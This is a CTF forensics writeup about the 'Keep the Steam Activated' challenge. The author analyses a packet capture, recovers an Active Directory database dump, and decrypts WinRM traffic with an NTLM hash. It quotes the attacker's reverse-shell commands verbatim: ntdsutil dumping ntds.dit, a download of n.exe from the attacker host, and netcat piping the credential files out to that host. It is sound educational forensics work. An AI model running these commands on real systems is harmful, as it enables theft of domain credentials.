Decrypting WinRM traffic from AD hashes — HTB Uni Quals 2021 “Keep the Steam Activated” Writeup
Prologue
So the story was I joined this CTF with my fellow college friends just to be a refresher in the middle of these chaotic days I was in. I did forensics as the usual me in CTF team. There were three challenges for forensics, the first one is just a Docker “peeling” challenge, which I didn’t do because the last time I use Docker Windows on my machine it somehow just broke. My team did it. The second one was quite challenging and really fun to solve because I got to know Didier Stevens’ toolkit to decrypt CobaltStrike’s communication. But we got stuck on the third challenge, titled Keep the Steam Activated, which I just assumed it’s a sequel of the second challenge which conveniently included a CobaltStrike beacon called “freesteam.exe”.
Spoiler: I slapped my forehead real hard because I was THIS close to solving this.

So, Keep the Steam Activated. We were given a single packet capture file, which is quite big, around 60MB. The description wasn’t really helpful lmao.
There will be 4 steps of solving this challenge:
- Skim the packet capture file for an unencrypted reverse shell traffic
- Decoding ntds.dit and SYSTEM hive file and extract the hashdumps using the secretsdump.py from impacket
- Retrieve one of the hash used and decrypt WinRM traffic in the packet capture file
- Find the flag in between the real malicious commands
After this section, I will explain the method in my point of view, so if you want to be me, you might as well get the sense of being me.
Noticing something wrong
Using my Public Domain’d Sherlock Holmes’ Intelligent Sense of Crime™, I skimmed the packet capture file and noticed that after some SMB and DCE-RPC thing, on the HTTP there were two malicious files, named n.exe and rev.ps1 and after that a series of TCP packets coming back and forth recorded sending commands to and from 192.168.1.9 and 192.168.1.10.

Scrolling a bit down there were also other files, but in the end it didn’t really matter.
If you read a bit on the rev.ps1 file, you probably can guess that it’s obfuscated. Usually this was done by attacker to prevent antivirus or network monitoring to detect a real threat to the environment. And yes, this is a common and real method happened in real life.

Dissecting it a little bit, we can find the IP it’s trying to connect to and which port. The IP it’s trying to talk back is 192.168.1.9, which is the attacker, and implanted to the victim, 192.168.1.10, using port 4443.
Now that we notice that a possible reverse shell happened, we can have a small guess that n.exe is probably a netcat file, usually used for a reverse shell scenario. Netcat connection is surprisingly straightforward, and you can just use a TCP sniffing to see what the netcat is sending. Now we just need to filter the port used for the netcat connection, which is 4443.

I filtered, and followed one TCP stream that used port 4443. We can see the commands executed through the reverse shell. The red one is from the victim, the blue one is from the attacker.
whoami;hostnamentdsutil "ac i ntds" "ifm" "create full c:\temp" q qiex (New-Object System.Net.WebClient).DownloadFile("http://192.168.1.9/n.exe","C:\Users\Public\Music\n.exe")certutil -encode "C:\temp\Active Directory\ntds.dit" "C:\temp\ntds.b64"certutil -encode "C:\temp\REGISTRY\SYSTEM" "C:\temp\system.b64"cat C:\temp\ntds.b64 | C:\Users\Public\Music\n.exe 192.168.1.9 8080cat C:\temp\system.b64 | C:\Users\Public\Music\n.exe 192.168.1.9 8080
What it does, in order:
- Seeing current user and hostname
- Activating NTDS instance using
ntdsutil
and “backing up” the system file to temp folder - Downloading hosted file n.exe and placing it to Music folder
- Dumping the entired
ntds.dit
file to a new filentds.b64
using base64 command - Same as before, but for the SYSTEM registry file
- “Sending the file” through netcat by printing it directly to attacker’s screen
NTDS is NT Directory Services, an Active Directory service to manage resources. Used in typical Windows Server, usually contains the entire AD user accounts and passwords, which conveniently located at C:\Windows\NTDS\ntds.dit. So what the attacker did was trying to dump the entire user credentials, using it for future attack. But to dump the credentials, the attacker need a SYSTEM hive too, so they sent it too from the netcat with the same method.
Acquiring ntds.dit and SYSTEM hive
While the attacker maybe using internal utility, I’m using GCHQ’s CyberChef to decode the entire b64'd ntds.dit and SYSTEM hive. Followed one of the TCP stream, I can just save all of the base64 as a .b64 file, upload it to CyberChef, decode it, and download it as raw binary. It should take a while, but it’ll save you more time later.


We got ntds.dit and SYSTEM registry hive… Now what do we do with this?
I was meddling with Active Directory a little bit before the CTF, so I kinda knew what to do and feel like I have more advantage than before.
ntds.dit actually contains all username, domain, and password hash of all domain account. And we can extract it using a cool tool from impacket called secretsdump.py, and it’s surprisingly straightforward, just use Python, set the input from both ntds.dit and SYSTEM hive, and it will spit out all accounts and its hashes. We ran it and boom, easy dump.
From experience, I know that aad3b4...
is a hash for empty password. I felt really betrayed after trying to dump this for like a day. So I just believed that this is unimportant. But this assumption will stab me back later.

My stupidity
After being so proud of my ntds.dit finding, I met a blocked road. I know that it’s so close to the finish line.
Listing back what I’ve found on the packet capture file, I found a HTTP POST request for /wsman, and then around the end was an encrypted Covenant C2 connection, which I dug the rabbit hole in. I was so sure that the Covenant was the answer but my small gut told me that I was in the wrong way, because why would we spent so much time on decrypting and parsing the AD database?
So I’m back to /wsman. I saw on this protocol that the traffic is encrypted, but not in SSL-like way. Searching a little bit about /wsman, it’s apparently a WinRM protocol, basically a protocol of sending commands through HTTP POST request.

Searching more about it, apparently there is a script to decrypt WinRM encrypted HTTP traffic and spits out the XML of the protocol, from packet capture file, and… wait for it… NTLM hash.
So, I just need to pass the hash and packet capture and mission complete... right? Wrong. I was gullible with the ntds output. I ran the script over and over with the same hash but it didn’t succeed to decrypt the traffic. I know for a fact that the password is empty, and I kept putting the user’s password hash to the WinRM encryption tool, until the time ran out. In the end I didn’t finish this challenge.
But then, several days after the CTF finished, I saw the writeup and felt really stupid that I passed the wrong hash. It’s not the password hash, but the hash beside the password hash. I don’t know what this hash for, I never assumed that it’s useful in the first place.
Now after running the script with the hash beside the “empty password” hash, it worked.

Finding the flag
Now is the last part that should be easy, find the flag in the decrypted traffic.
From what I can comprehend, there was a type of XML child that we should see: ReceiveResponse, which usually filled with command stdout together with some jumbled binary. If there were two of them, the top usually contains the string output of the command executed, and the latter is some kind of options(?) idk it’s saying Pipeline or something.

Digging a little bit on the XML, we found the flag.

Takeaways
Two number nine… a number nine large… number six with extra dips.. kidding. I hope with this article will give you more knowledge about protocols and attacks that can happen in your environment. Although TCP connections are rarely monitored due to how huge the log files can be if wireshark was applied even in small scale organization, but at least you know where to look at if a possible incident of reverse shell occurred in your organization.